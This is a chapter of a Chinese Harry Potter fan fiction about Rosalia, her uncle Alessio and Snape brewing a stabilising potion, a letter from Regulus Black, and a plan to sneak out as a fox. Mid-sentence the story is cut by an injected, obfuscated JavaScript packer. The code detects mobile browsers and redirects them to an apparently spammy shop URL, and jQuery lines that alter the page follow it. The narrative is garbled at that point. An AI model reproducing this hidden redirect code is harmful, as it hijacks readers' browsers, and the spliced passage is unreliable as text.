63.回去
作品:《【HP亲世代】和斯内普当养兄妹那些年》 斯内普平稳地搅拌着坩埚中的魔药。升腾的袅袅白雾缠绕在他的手臂上。
顺时针十四圈,逆时针十四圈。罗萨利亚敏锐地闻出,坩埚中似曾相识的魔药气味正在转变成一种她更熟悉的味道。
药液顺着搅拌棒滴下,斯内普拿起桌上的帕子将其擦拭干净。这时候,四散溢出的白雾忽然拧成了双螺旋的形状,直直地向天花板升去。
“二阶段魔药反应结束。”斯内普说。
阿莱西奥鼓了鼓掌,轻轻感慨道:“这是我见过的最漂亮的双螺旋蒸汽……艾琳,我不得不说,他做得比你还好,甚至就连……”
他压低声音,又问:“艾琳,你有教他那个魔咒吗?我想他可以开始尝试第三阶段了。考虑到耗时和容错——罗西娜,你可以配合我分装这份魔药吗?”
罗萨利亚点点头,挥动魔杖从抽屉里翻出了十个小坩埚。阿莱西奥将魔药舀入其中,又挥动魔杖给其中八个施加了封存咒,说:“今天我们就先用其中的两份做实验吧……艾琳?”
艾琳夫人局促地搓着手,朝阿莱西奥挤出一个僵硬的笑容:“我没带魔杖来,阿莱西奥,我可以借你的魔杖用用吗?”
阿莱西奥默然地看了她一会儿,什么也没说,缓缓把自己的魔杖递了出去。
“好了……西弗勒斯,仔细看我的魔杖轨迹……施咒时,你应该将心中那种迫切希望对方能活着的情感融入其中——”
艾琳夫人旋即念出一串复杂的、歌唱般的咒语,同时抬起魔杖在蒸汽的上方轻轻搅动。霎时间,魔杖与蒸汽接触的地方迸发出两道蓝色荧光。荧光沿着双螺旋轨道迅速地滑入坩埚,在药水表面激起一圈涟漪。
罗萨利亚看着小坩埚,确信它现在除了没有蒸汽,看上去和之前没有任何区别。
“它看起来毫无变化,是吧?”阿莱西奥笑了笑。
“是啊。”罗萨利亚疑惑地说:“这就行了吗?”
艾琳摇摇头说:“这才刚开始。未来八十四天,药水会凝成十二次蒸汽。也就是说,西弗勒斯,你需要每隔七天念一次咒语。最后,你得将药水避光静置七天——这就是第四阶段;七天后,再来查看魔药颜色,如果呈现蓝色,那就是成功了,如果不是……”她轻叹一声,“那就说明第三阶段至少有一次念咒是失败的。”
斯内普拧皱了眉头,手指抬起在唇边摩挲:“所以,直到最后一天,我才能知道自己是否成功?”
罗萨利亚也感到不可思议:“如果失败,就要再试三个月?一年也就四个季节……”八份魔药足够练习两年……
“是的,”阿莱西奥遗憾地说,“这正是稳定剂的难点:没有任何尺度可以衡量、没有任何参考可以依照、没有任何经验可以借鉴:一切只在暗中发生。你不得不像盲人一样摸索,为它献出自己的时间、心血和虔诚……一直担惊受怕,不断地自我怀疑,承担可能毫无回报的、前功尽弃的风险,直到最后一刻。这是一种折磨。”
说完,他叹了口气,抬起手揉了揉罗萨利亚的脑袋:“也难怪没几个巫师愿意熬制它,更别提成功了。”
艾琳夫人听得愣愣的,感慨说:“呀……阿莱西奥,你说得就好像亲身经历过一样……”
阿莱西奥对艾琳夫人轻松一笑:“我目睹过多少巫师的失败呀,艾琳。他们偶尔会成功那么一两次,但都做不到稳定产出。正因如此,我才格外感谢你——你成功一次之后,就再没有失败过——没有你,罗西娜和我哪有机会在这儿闲聊啊!我觉得自己怎么报答你都不为过。”
“别这么说,是你一直没放弃我……”艾琳夫人有些不好意思了,她赶忙转向斯内普,“西弗勒斯,现在你也来试一试吧。”
斯内普短暂地抬眼看了看罗萨利亚,随后他挥动魔杖,像刚刚艾琳夫人那样念咒。两道蓝色荧光坠入魔药。
“接下来就是等待。”艾琳夫人顿了顿,转向阿莱西奥说:“那么,阿莱西奥,我就先带着西弗勒斯回去了。我们七天后再见吧。”
阿莱西奥揽着罗萨利亚说:“好呢。劳伊——”
“啪”地一声,劳伊出现在一旁。
“麻烦你送送他们。”他说。
“是。”
罗萨利亚冲着斯内普挥了挥手:“帮我跟莉莉说,我也想她了……拜拜,西弗,七天后见。”
斯内普轻轻点头说:“七天后见。”
“啪”地一声,劳伊带着斯内普和艾琳离开了拉文谢德堡。
满目琳琅的魔药房间里只剩下了一高一矮两个人。
罗萨利亚想要找个借口溜回卧室待着。可她刚想逃脱阿莱西奥大鸟般的臂弯,就感到对方放在她肩膀上的手收紧了一瞬。
她扬起脑袋,不解地看向阿莱西奥,而阿莱西奥此时也垂着眼睛看她——撅着嘴巴。
罗萨利亚莫名觉得这一幕有些似曾相识。
……他们两个刚见面时,好像也这样无言相望过一会儿。
果不其然,阿莱西奥脸上露出了熟悉的不满,说:“现在就我们两个了呢,罗西娜,没有外人在。”
罗萨利亚想了想:“嗯,没错?”这次又是怎么了?
“你就,”阿莱西奥示意她坐到椅子上,自己则蹲下来仰头看着她,“不想对我做点什么吗?”他伸手在太阳穴的位置努力比划。
“……做什么呢?”罗萨利亚盯着他的动作,眼皮跳了起来。
阿莱西奥深吸一口气,忽然喃喃起来:“这不太对吧……你看起来恢复了不少啊,怎么回来后一次都没有……”
罗萨利亚心中涌起不好的预感:“一次都没有……什么?”
阿莱西奥哀嚎一声:“一次都没有用摄神取念跟我‘打招呼’啊!罗西娜!”
这话一落地,罗萨利亚感觉自己的脑袋像被人打了一记闷棍。她呆呆地看着阿莱西奥,面容几乎不受控地扭曲起来。
是啊、是啊——老天,她怎么完全没想过——她怎么完全没考虑阿莱西奥可能知道凯瑟琳和罗萨利亚是天生的摄神取念者这回事呢?他们都姓拉文谢德,又相处过这么多年——等等……阿莱西奥他——
此时,阿莱西奥还沉浸在自己的抱怨中:“……以为你恢复了,刚见面的时候,我用封闭术在脑子里为你编织了‘欢迎回家’的气球,等了半天,你看都不看一眼!我当时还想,你是不是把我当陌生人了才那么收敛……再后来,我就说要不找机会再和你单独聊聊吧,谁知道西弗勒斯能从早到晚一直盯着你,我根本插不上话,你也总跟在他身后跑,一点儿都不和我亲近……”
罗萨利亚在一句又一句飞扬的控诉中看着对方,手脚冰凉——因为她想到了一个致命的问题,以至于无法阻止自己出声打断他:
“你——是天生的摄神取念者吗?”
“……刚才也——”阿莱西奥终于刹住了,他话一拐弯说,“那倒不是。这纯粹是——呃,按照麻瓜的说法就是基因彩票——拉文谢德就出了你们两个,玛丽安娜还说可算让你曾曾祖父的纯血实验得逞了……”
罗萨利亚当即松了口气。管他什么祖父实验得逞不得逞的,她悬着的心可以稳稳地落下了——刚才她太着急了,仔细一想,如果阿莱西奥是天生的摄神取念者,那很多事就解释不通了,而且只要他有动作,斯内普肯定会发现,然后再告诉她……
阿莱西奥看起来有点绝望,他问:“孩子,你到底是怎么回事啊……怎么连这个也不记得?要不要我带你去圣芒戈看看脑子?”
“……不要,我讨厌医院,”罗萨利亚现编了一个理由,同时心里掂量道:看来他并不知道凯瑟琳对自己用过遗忘咒的事情……
“而且,我现在会摄神取念了,叔叔,”她语气镇定地说,“我只是选择不用。”
说着,罗萨利亚友好地光顾了阿莱西奥的大脑——对方给她留了一张小纸条,上面写道:今晚吃什么?
“想吃鸡翅。”她说完,继续补充道:“上学以后,我每天要接触很多人,摄神取念就变得有点烦了,我只好学着控制它——我现在已经习惯这样生活了。”
“噢。”或许是因为感觉到了摄神取念,阿莱西奥看上去欣慰一点了,他点点头:“确实。我倒忘记这点了。凯瑟琳是在家读完的书,她几乎没有这种烦恼……”
罗萨利亚又道:“再就是……嗯……我觉得自己不一定能完全恢复了,叔叔,对不起,但是回想以前的事会让我觉得头很疼……”她边说边打量阿莱西奥的表情,好在对方看上去并不气馁。
他只是拍拍她放在膝盖上的手说,“这也没什么,罗西娜,别担心这个了。你知道我不会像你妈妈和爸爸那样管束你——你活泼一些、任性一点,都是可以的。而且,我们以后还有很长时间可以熟悉彼此,你觉得呢?”
罗萨利亚的视线掠过阿莱西奥的白发,轻轻点头道:“没错。”
……
八月来了。
阿莱西奥带着一封信敲响了罗萨利亚的窗户。彼时,他正骑着光轮1477,腰上挂着收音机。
“今天一大早就有猫头鹰来给你送信,罗西娜。”阿莱西奥把信封递给他,说,“我不是有意要看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998174|192924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,但我发现这信封的漆印有些眼熟——来自布莱克家的?”
罗萨利亚点点头:“是的。”说完,她想起了阿尔法德和阿莱西奥难以言喻的关系,预防万一地补充了一句:“这位布莱克人挺好的,很有礼貌——我之前说送我光轮1477的那个人就是他。”
“噢……是吗……”阿莱西奥若有所思地摸了摸光轮1477的扫帚柄,“你看信吧,不用管我。”
他慢慢地飘走了。
罗萨利亚展开信笺:
【致罗萨利亚,见信如晤。我好喜欢这只‘金色飞贼’,那上面还有我的名字,谢谢你的礼物,罗萨(我现在可以这么叫你了吗)。现在飞贼正在我的房间里游荡,阿黑的注意力全被它吸引走了(本来这个假期她有点黏着西里斯……我猜他身上揣了曼德拉草叶子)……】(1)
“你说的布莱克不会是唯一去了格兰芬多的那个吧。”
信还没读完,阿莱西奥的声音就又飘了回来。罗萨利亚诧异地抬头,后者顿了顿,说:“我只是听阿尔法德提过一嘴——我可以问这个吗?”
“……不是同一个人。”罗萨利亚瞥了眼阿莱西奥身下的光轮1477,说:“他比我小一届,名字叫雷古勒斯。”
“斯莱特林?”阿莱西奥问。
“斯莱特林。”罗萨利亚道:“西弗勒斯也认识他。”
“噢——那他魔药学的好吗?”阿莱西奥又问。
……难道阿莱西奥是在给她物色更多能熬制稳定剂的人选吗?罗萨利亚嘀咕着,低头扫了眼信笺最后一行——
【顺便:一年级的期末成绩出了。我考了第一名。斯拉格霍恩教授给我的魔药打了O+,帮我谢谢西弗勒斯。】
然后说:“‘斯拉格霍恩一定也爱死他了’。”
七天又七天,仲夏在夜晚的蟋蟀鸣叫中逝去。
暴雨一阵一阵地下着,飞天扫帚和收音机被迫待业,而艾琳夫人又总是坚持让斯内普念完魔咒就离开。阿莱西奥和罗萨利亚就这么同时陷入了无聊当中。
终于,前者搬出了吃灰的唱片机,开始勉为其难地听《Keep yourself alive》——好在歌曲的旋律还是很不错的,阿莱西奥很快找到了快乐。
把A面全部听腻之后,他搓搓手开始播放B面。
外面暴雨倾盆,屋内鼓点和贝斯华丽作响,阿莱西奥一边看《预言家日报》一边在原地有节奏地踱步。电吉他的声音兴高采烈地跳了起来。
“I have sinned dear father ~ Father I have sined……”歌手开始吟唱了。
罗萨利亚坐在窗边撑着脑袋往看,攀援玫瑰的花瓣已经在新割的草坪上匍匐一片。
“Try and help me father ~ Won''t you let me in ~”
好无聊,不知道西弗勒斯现在在干什么——
“Liar!”
罗萨利亚一愣。
“Oh————nobody believes me ~ ”
阿莱西奥愉快地转圈。
“Liar!”
罗萨利亚忍不住回头了。
“Why don''t you leave me alone ~”
阿莱西奥嘴里哼哼。
“……叔叔,这又是什么歌?”罗萨利亚问。
阿莱西奥漫步到唱片机旁看了一眼搁在旁边的封套说:“《Liar》,你觉得好听吗?”(2)
“Liar!”一阵劲爆的电吉他。
罗萨利亚微笑着说:“我想上楼睡一会儿了。”
阿莱西奥又揽着《预言家日报》转了个圈:“好呢,午安罗西娜,渡鸦会在你睡着时叼走烦恼和厄运。”
那倒未必。罗萨利亚边上楼梯边心想。因为她其实并不打算睡觉。
斯内普没法到拉文谢德堡来,那她去蜘蛛尾巷就不得了——只需欺骗一下踪丝。
“劳伊。”
“啪——主人您叫我?”
“一会儿会有一只狐狸去你房间找你。你带它去蜘蛛尾巷附近的树林。”
劳伊看上去很困惑:“请求您重复一遍……您是说,狐狸?”
“是的,一只狐狸。”动物可不是什么未成年巫师呀。罗萨利亚笑眯眯地说:“等两个小时之后,你再去同一个地方把它带回来。记得保密。”(3)
“好的,主人,我明白了。”劳伊回答。

